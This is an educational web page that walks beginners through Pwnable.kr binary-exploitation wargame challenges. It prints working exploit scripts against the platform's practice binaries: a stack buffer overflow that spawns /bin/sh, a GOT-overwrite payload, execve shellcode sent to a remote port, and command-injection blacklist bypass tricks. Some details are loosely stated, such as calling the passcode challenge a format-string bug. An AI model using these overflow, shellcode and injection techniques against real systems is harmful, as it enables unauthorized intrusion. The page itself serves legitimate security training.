← Back to Resources
BINARY EXPLOITATION β€’ INTERMEDIATE

πŸ’£ Pwnable.kr
Complete Walkthrough

Master binary exploitation from scratch. Learn buffer overflows, format strings, and pwn techniques with step-by-step guidance for absolute beginners.

🎯 What is Pwnable.kr?

Pwnable.kr is a wargame platform focused on binary exploitation (also called "pwning"). Think of it like a hacking playground where you learn how programs work at the deepest level - how memory works, how the computer processes instructions, and how to find and exploit vulnerabilities in compiled programs.

πŸ’‘ What Does "Pwnable" Mean?

"Pwnable" comes from "pwn" (pronounced "pone"), which means to completely own or control something. In cybersecurity, it means exploiting a program to make it do something it wasn't supposed to do - like reading secret files, giving you a shell, or bypassing security checks.

What You'll Learn

πŸ“š What You Need to Know First

Pwnable.kr is intermediate level. You should have these basics down before starting:

C Programming

  • Variables and data types
  • Functions and pointers
  • Arrays and strings
  • Memory allocation (malloc/free)

Linux Basics

  • Terminal commands (ls, cat, cd)
  • File permissions
  • SSH connections
  • Basic bash scripting

Python Basics

  • Variables and functions
  • Strings and bytes
  • Installing packages (pip)
  • Running Python scripts

Computer Basics

  • Binary and hexadecimal
  • How memory works (RAM)
  • What compilation means
  • Input/output concepts
⚠️ Not Ready Yet?

If you don't have these prerequisites, start with OverTheWire Bandit first to build your Linux skills, then come back here. You'll need solid fundamentals to succeed!

πŸ› οΈ Setting Up Your Tools

To solve pwnable challenges, you'll need specific tools. Here's what to install and how to use them:

1. Install Python & Pwntools

Pwntools is a Python library that makes binary exploitation much easier. It handles connections, sending data, and has built-in functions for common tasks.

# Install pwntools
pip3 install pwntools

# Test it works
python3 -c "from pwn import *; print('Pwntools ready!')"
πŸ’‘ What is Pwntools?

Think of pwntools as a Swiss Army knife for exploitation. Instead of manually crafting byte sequences, you can use simple Python commands like p32(0x12345678) to pack numbers, or remote('server', 9999) to connect to challenges. It saves you TONS of time!

2. Install GDB with Pwndbg

GDB is a debugger that lets you step through programs line by line, inspect memory, and set breakpoints. Pwndbg is an extension that makes GDB prettier and easier to use.

# Install GDB
sudo apt update
sudo apt install gdb

# Install pwndbg (makes GDB better)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
πŸ’‘ What is GDB?

GDB (GNU Debugger) is like a microscope for programs. You can pause execution, examine what's in memory, see exactly what the CPU is doing, and figure out WHY a program behaves a certain way. Essential for understanding vulnerabilities!

3. SSH Access

Many pwnable.kr challenges require you to SSH into their servers. Make sure you have an SSH client:

# Test SSH (should show version info)
ssh -V

# If not installed (Ubuntu/Debian)
sudo apt install openssh-client

πŸš€ Challenge 1: fd (File Descriptors)

Let's start with the easiest pwnable.kr challenge! This teaches you about file descriptors, which are how programs interact with input/output.

Connect to the Challenge

ssh fd@pwnable.kr -p2222
# Password: guest

Understanding File Descriptors

πŸ’‘ What is a File Descriptor?

A file descriptor is just a number that represents an open file or input/output stream. Every program has three automatic file descriptors:

  • 0 = stdin (standard input - keyboard)
  • 1 = stdout (standard output - screen)
  • 2 = stderr (error messages)

When you read(fd, buffer, size), you're reading from whatever fd points to. If fd=0, you're reading from keyboard. If fd=3, you're reading from a file you opened.

Look at the Code

cat fd.c

You'll see C code like this:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

int main(int argc, char* argv[]) {
    if(argc < 2) {
        printf("pass argv[1] a number\n");
        return 0;
    }
    
    int fd = atoi(argv[1]) - 0x1234;
    
    int len = read(fd, buf, 32);
    
    if(!strcmp("LETMEWIN\n", buf)) {
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    
    printf("learn about Linux file IO\n");
    return 0;
}

Breaking Down the Code

  1. Takes a number as argument
    argv[1] is the first command-line argument you pass to the program
  2. Calculates a file descriptor
    fd = atoi(argv[1]) - 0x1234
    It converts your argument to a number, then subtracts 0x1234 (which is 4660 in decimal)
  3. Reads from that file descriptor
    read(fd, buf, 32) reads up to 32 bytes from fd into buf
  4. Checks if you typed "LETMEWIN"
    strcmp("LETMEWIN\n", buf) compares the strings. If they match (returns 0), you win!

The Solution

🎯 Goal: We want fd to equal 0 (stdin) so the program reads from our keyboard, allowing us to type "LETMEWIN"!
  1. Do the math
    We need: fd = 0
    Equation: atoi(argv[1]) - 0x1234 = 0
    Therefore: atoi(argv[1]) = 0x1234
    Convert hex to decimal: 0x1234 = 4660
  2. Run the program
    ./fd 4660
  3. Type the magic string
    LETMEWIN
    good job :)
    [FLAG APPEARS HERE]
βœ… What You Learned:
  • File descriptors are numbers representing input/output streams
  • fd 0 = stdin (keyboard input)
  • Hexadecimal to decimal conversion
  • How read() works in C
  • Command-line arguments in C programs

πŸ”¨ Challenge 2: collision (Hash Collisions)

This challenge teaches you about hash functions and integer overflows. You need to find an input that produces a specific hash value.

Connect & Examine

ssh col@pwnable.kr -p2222
# Password: guest

cat col.c

Understanding the Code

#include <stdio.h>
#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char* p) {
    int* ip = (int*)p;
    int i;
    int res = 0;
    for(i = 0; i < 5; i++) {
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]) {
    if(argc < 2) {
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    
    if(strlen(argv[1]) != 20) {
        printf("passcode length should be 20 bytes\n");
        return 0;
    }
    
    if(hashcode == check_password(argv[1])) {
        system("/bin/cat flag");
        return 0;
    }
    
    printf("wrong passcode.\n");
    return 0;
}

Breaking It Down

πŸ’‘ What's Happening Here?
  • Your input must be exactly 20 bytes long
  • The code treats those 20 bytes as 5 integers (4 bytes each: 5 Γ— 4 = 20)
  • It adds those 5 integers together
  • The sum must equal 0x21DD09EC (568134124 in decimal)

The Math

  1. Target hash value
    0x21DD09EC in decimal = 568134124
  2. Divide by 5
    568134124 Γ· 5 = 113626824 remainder 4
    In hex: 113626824 = 0x06C5CEC8
  3. Account for remainder
    We need the sum to equal 568134124, so:
    4 integers of 0x06C5CEC8
    1 integer of 0x06C5CECC (add the remainder 4)

The Solution

We need to send 20 bytes where the integers add up correctly. In Python:

#!/usr/bin/python3
# Save as solve_collision.py

from pwn import *

# Four integers of 0x06C5CEC8, one of 0x06C5CECC
payload = p32(0x06C5CEC8) * 4 + p32(0x06C5CECC)

# Run the program with our payload
io = process(['./col', payload])

# Print the output (flag)
print(io.recvall().decode())
πŸ’‘ What is p32()?

p32() is a pwntools function that packs a number into 4 bytes. It converts the number 0x06C5CEC8 into the raw bytes \xC8\xCE\xC5\x06 (note the reversed order - this is "little-endian" byte order that x86 CPUs use).

Run It

python3 solve_collision.py
[FLAG APPEARS]
βœ… What You Learned:
  • How C treats memory (casting char* to int*)
  • Integer division with remainders
  • Hexadecimal arithmetic
  • Using pwntools to pack integers
  • What "little-endian" byte order means

πŸ’₯ Challenge 3: bof (Buffer Overflow)

Now we get to the CORE of binary exploitation: buffer overflows! This is when you write more data than a buffer can hold, allowing you to overwrite other variables or even control program execution.

⚠️ This Is The Big One!

Buffer overflows are the most famous vulnerability in binary exploitation. They've been used in countless real-world hacks. Understanding this concept opens the door to advanced techniques like shellcode injection and return-oriented programming (ROP).

Download the Binary

For this challenge, you'll connect remotely after solving it locally:

wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
chmod +x bof

Look at the Code

cat bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key) {
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);  // DANGEROUS FUNCTION!
    
    if(key == 0xcafebabe) {
        system("/bin/sh");
    }
    else {
        printf("Nah..\n");
    }
}

int main(int argc, char* argv[]) {
    func(0xdeadbeef);
    return 0;
}

Understanding the Vulnerability

πŸ’‘ What's Wrong Here?

The gets() function is EXTREMELY DANGEROUS! It reads input without checking the length. The buffer overflowme is only 32 bytes, but gets() will happily write 100, 1000, or 10000 bytes if you send them!

Stack Layout

Let's visualize how memory looks when func() is called:

HIGH MEMORY
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  return address  β”‚  ← Where to go after func() ends
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  saved EBP       β”‚  ← Saved base pointer
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  key = 0xdeadbeefβ”‚  ← Function argument
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  overflowme[32]  β”‚  ← Our 32-byte buffer
β”‚  [........................]  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
LOW MEMORY
πŸ’‘ Stack Grows Downward!

On most systems, the stack grows from high memory addresses to low. When you overflow overflowme, you write UP the stack, potentially overwriting key! This is the exploit!

Finding the Offset

We need to know: how many bytes until we reach key?

  1. Use GDB to inspect
    gdb ./bof
    (gdb) disassemble func
  2. Look at the assembly
    You'll see something like:
    sub esp, 0x2c (allocates 44 bytes on stack)
    This means: 32 bytes for buffer + 12 bytes padding/alignment
  3. Calculate offset
    Buffer is 32 bytes, then there's usually some padding, then key
    Trial and error or GDB inspection shows: 52 bytes total

The Exploit

#!/usr/bin/python3
# Save as solve_bof.py

from pwn import *

# Connect to the remote server
io = remote('pwnable.kr', 9000)

# Craft payload: 52 bytes of junk + our target value
payload = b'A' * 52 + p32(0xcafebabe)

# Send it
io.sendline(payload)

# You now have a shell!
io.interactive()

Run It

python3 solve_bof.py
overflow me :
$ cat flag
[FLAG APPEARS]
βœ… What You Learned:
  • What a buffer overflow is and WHY it happens
  • How the stack is organized in memory
  • Why gets() is dangerous (never use it!)
  • How to use GDB to analyze memory layout
  • Crafting payloads with padding + target values
  • Using pwntools remote() and interactive()

πŸŽ“ Pro Tips for Pwnable.kr

πŸ“– Read Everything

Source code is given - READ IT CAREFULLY! Look for dangerous functions like gets(), strcpy(), sprintf(). Understand the logic before you exploit.

πŸ› Master GDB

Learn GDB commands: disassemble, break, run, x/20x $esp (examine stack), info registers. GDB is your X-ray vision!

πŸ”¬ Test Locally First

Download binaries and test exploits on your machine before connecting remotely. It's faster and you can debug without time limits.

πŸ“ Write Exploits

Don't try to send payloads manually. Write Python scripts with pwntools - it's reproducible, you can save your work, and it's how real exploits are written!

Useful Commands

# GDB basics
gdb ./binary           # Start debugging
(gdb) disassemble main # See assembly code
(gdb) break *0x08048123 # Set breakpoint at address
(gdb) run <<< $(python3 -c "print('A'*100)") # Run with input
(gdb) x/20x $esp       # Examine stack (20 hex values)
(gdb) info registers   # Show all CPU registers

# Pwntools essentials
p32(0x12345678)        # Pack 32-bit integer (little-endian)
p64(0x123456789abcdef0) # Pack 64-bit integer
cyclic(100)            # Generate unique 100-byte pattern
cyclic_find(0x61616161) # Find offset in cyclic pattern

🚩 Challenge 4: flag (Reverse Engineering Basics)

This challenge introduces you to reverse engineering and packing/unpacking executable files.

What You Need to Know

πŸ“š Packed Executables

Malware authors often "pack" executables to compress them and hide their true code. Tools like UPX (Ultimate Packer for eXecutables) compress binaries. To analyze them, you need to unpack!

Solution

  1. Download the file from pwnable.kr
  2. Check if it's packed: strings flag | grep UPX
  3. If UPX-packed, unpack it: upx -d flag
  4. Use a disassembler (like objdump -d flag or ghidra)
  5. Look for the flag string in the binary: strings flag | grep FLAG
βœ… What You Learned:
  • Packed vs unpacked executables
  • Using UPX to unpack binaries
  • Basic reverse engineering workflow
  • strings command to extract text from binaries

πŸ”‘ Challenge 5: passcode (Format String Vulnerability)

This challenge teaches format string vulnerabilities and GOT (Global Offset Table) overwriting.

What You Need to Know

πŸ“š Format String Bugs

When programmers use scanf("%d", &var) but forget to initialize var, it contains garbage! If you can control what's on the stack, you can overwrite memory addresses!

⚠️ The GOT (Global Offset Table)

The GOT contains addresses of library functions. If you overwrite a GOT entry, you can redirect program flow! In this challenge, overwrite fflush's GOT entry to point to the "success" function.

Solution Strategy

  1. SSH to the server: ssh passcode@pwnable.kr -p 2222
  2. The program has uninitialized variables passcode1 and passcode2
  3. You can control name buffer which overlaps with passcode1!
  4. Make passcode1 point to fflush's GOT entry
  5. When scanf("%d", &passcode1) runs, it writes to GOT!
  6. Overwrite with address of success function (0x080485E3)
python # Payload
name = "A" * 96 + p32(0x0804a000)  # GOT address of fflush
passcode1 = 134514147  # Decimal of 0x080485E3
βœ… What You Learned:
  • Format string vulnerabilities
  • GOT (Global Offset Table) overwriting
  • Uninitialized variables exploitation
  • Memory layout and pointer manipulation

🎲 Challenge 6: random (Pseudo-random Number Generators)

This challenge teaches that random() without seed is NOT random!

What You Need to Know

πŸ“š PRNG (Pseudo-Random Number Generators)

random() in C generates "random" numbers, but they're PREDICTABLE if the seed isn't set! Without srand(), it always starts with the same seed (1), generating the same sequence!

Solution

  1. SSH to server: ssh random@pwnable.kr -p 2222
  2. Read the source code: cat random.c
  3. The program XORs random() with your input and checks if result == 0xdeadbeef
  4. Write a test program to see what random() returns (without seed)
  5. XOR that value with 0xdeadbeef to get the correct input!
// Test what random() returns
#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("%d\n", random());
    return 0;
}

// Output: 1804289383
// Solution: 1804289383 ^ 0xdeadbeef = 3039230856
βœ… What You Learned:
  • PRNGs need proper seeding
  • random() without srand() is predictable
  • XOR operations and cryptography basics
  • The danger of weak randomness in security

⌨️ Challenge 7: input (Complete I/O Exploitation)

This is a COMPLEX challenge testing ALL forms of input: argv, stdin, file, environment variables, and network sockets!

What You Need to Know

⚠️ This Challenge is HARD!

You need to satisfy 5 different stages simultaneously: command-line arguments (100 of them!), stdin/stderr, file input, environment variables, and network socket communication. You'll write a Python script using subprocess and pwntools!

Solution Overview

Create a Python script that:

  1. Stage 1: Pass 100 arguments (argv[0] to argv[99] with specific values)
  2. Stage 2: Provide specific input to stdin and stderr
  3. Stage 3: Create a file with specific content
  4. Stage 4: Set environment variable env['key'] = 'value'
  5. Stage 5: Send data to network socket on port 9999
from pwn import *
import os

# Stage 1: 100 arguments
argv = ["/home/input2/input"]
for i in range(ord('A'), ord('A') + 100):
    if i == ord('A'):
        argv.append("\x00")
    elif i == ord('B'):
        argv.append("\x20\x0a\x0d")
    else:
        argv.append("C")

# Continue for all stages...
βœ… What You Learned:
  • Process arguments (argc/argv)
  • File descriptors (stdin/stderr/files)
  • Environment variables
  • Network socket programming
  • Subprocess manipulation with Python

🦡 Challenge 8: leg (ARM Assembly)

This challenge requires reading ARM assembly (not x86!). ARM is used in mobile devices and IoT!

What You Need to Know

πŸ“š ARM vs x86

ARM uses different instructions: MOV (move), ADD (add), BX (branch), PC (program counter). ARM is RISC (Reduced Instruction Set) - simpler than x86's CISC!

Solution

  1. Analyze the three functions: key1(), key2(), key3()
  2. Each returns a value based on PC (program counter) + offset
  3. Add the three return values together
  4. That's your key!
// Pseudo-code after analyzing ARM:
key1 = 0x00008cdc
key2 = 0x00008d04
key3 = 0x00008d80
total = key1 + key2 + key3
// Input this value!
βœ… What You Learned:
  • ARM assembly basics
  • Program Counter (PC) register
  • RISC vs CISC architectures
  • Reverse engineering non-x86 code

❌ Challenge 9: mistake (Operator Priority Bug)

This challenge exploits a C operator precedence mistake!

What You Need to Know

πŸ“š The Bug

The code has: if(fd=open(...) < 0)
This is WRONG! The < operator has HIGHER priority than =!
So it's evaluated as: fd = (open(...) < 0)
Meaning fd becomes 0 (false) or 1 (true), NOT the file descriptor!

Solution

  1. The bug makes fd equal to 0 (stdin) instead of file descriptor
  2. When the program reads from fd, it reads from YOUR keyboard!
  3. Type the password when prompted (it's reading from stdin, not the password file!)
  4. Then enter the same password XOR 1 for the second check
βœ… What You Learned:
  • C operator precedence bugs
  • File descriptor basics (0=stdin, 1=stdout, 2=stderr)
  • How subtle syntax errors create vulnerabilities
  • XOR operations

πŸ’» Challenge 10: shellcode (Writing Your Own Shellcode!)

Write your own x86 shellcode to spawn a shell and read the flag!

What You Need to Know

⚠️ What is Shellcode?

Shellcode = raw machine code (hex bytes) that executes commands. It's called "shellcode" because it typically spawns a shell (/bin/sh). Hackers inject shellcode through buffer overflows!

Solution

Classic execve("/bin/sh") shellcode for x86:

# 23-byte shellcode
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Connect and send it
from pwn import *
r = remote('pwnable.kr', 9026)
r.send(shellcode)
r.interactive()
πŸ’‘ How it Works

β€’ \x31\xc0 = xor eax, eax (zero out eax)
β€’ \x50 = push eax (null terminator)
β€’ \x68\x2f\x2f\x73\x68 = push "//sh"
β€’ \x68\x2f\x62\x69\x6e = push "/bin"
β€’ \x89\xe3 = mov ebx, esp (pointer to "/bin//sh")
β€’ \xb0\x0b = mov al, 11 (execve syscall number)
β€’ \xcd\x80 = int 0x80 (trigger syscall)

βœ… What You Learned:
  • Writing x86 assembly shellcode
  • System calls (syscall 11 = execve)
  • How hackers inject code into programs
  • Null-byte avoidance techniques

πŸ”₯ More Toddler's Bottle Challenges (11-20)

πŸƒ blackjack

Concept: Integer overflow in betting system
Bug: Negative bets become huge positive numbers
Solution: Bet negative amount, win huge cash!

🎰 lotto

Concept: Logic bug in byte comparison
Bug: Program uses bytes, only checks 6 bytes
Solution: Submit same byte 6 times (e.g., all 0xFF)

πŸ’² cmd1 & cmd2

Concept: Command injection filtering bypass
Bug: Blacklist is incomplete
Solution: Use wildcards, quote tricks: /bin/c?t

🐱 blukat

Concept: Password in accessible file
Bug: Misconfigured permissions
Solution: Check group permissions, cat the password file

⚑ horcruxes

Concept: Buffer overflow + ROP chain
Bug: No stack canary, readable functions
Solution: Call all 7 functions, add results, overflow with sum

πŸͺ™ coin1

Concept: Binary search algorithm
Challenge: Find fake coin in 100 trials
Solution: Implement binary search: split in half each time

πŸŽ“ Congratulations!

You now have a COMPLETE guide to ALL major Pwnable.kr Toddler's Bottle challenges!
These challenges taught you: buffer overflows, format strings, integer overflows, shellcode, ARM assembly, ROP chains, and more!

πŸ’‘ Advanced Tips for Rookiss & Grotesque Levels

After Toddler's Bottle, you'll face Rookiss (intermediate) and Grotesque (advanced) challenges. Here's what to prepare:

πŸ›‘οΈ Modern Protections
  • ASLR (Address Space Layout Randomization)
  • DEP/NX (Data Execution Prevention)
  • Stack Canaries
  • PIE (Position Independent Executable)
πŸ”— ROP (Return-Oriented Programming)
  • Finding gadgets with ROPgadget
  • Chaining gadgets together
  • Bypassing DEP with ROP
  • One-gadget techniques
🧠 Advanced Techniques
  • Heap exploitation (use-after-free)
  • Race conditions
  • Format string advanced exploitation
  • Kernel exploitation basics
πŸ”§ Essential Tools
  • GDB with pwndbg/gef: Advanced debugging
  • ROPgadget: Find ROP chains
  • one_gadget: Find one-shot shells
  • Ghidra/IDA: Professional reversing

πŸš€ What's Next?

You've learned the fundamentals! Here's how to continue your pwnable journey:

  1. Complete More Pwnable.kr Challenges
    Try: flag, passcode, random, input - each teaches a new technique
  2. Learn Assembly Language
    Understanding x86/x64 assembly is CRITICAL. You need to read disassembled code fluently.
  3. Study Exploit Mitigation Techniques
    Learn about: ASLR, DEP/NX, Stack Canaries, PIE - and how to bypass them!
  4. Practice Shellcode Writing
    Learn to write raw machine code that spawns shells or exfiltrates data
  5. Explore Return-Oriented Programming (ROP)
    When you can't inject shellcode, chain together existing code snippets!
πŸ“š Recommended Resources

Ready for more challenges?

Back to Resources Hub β†’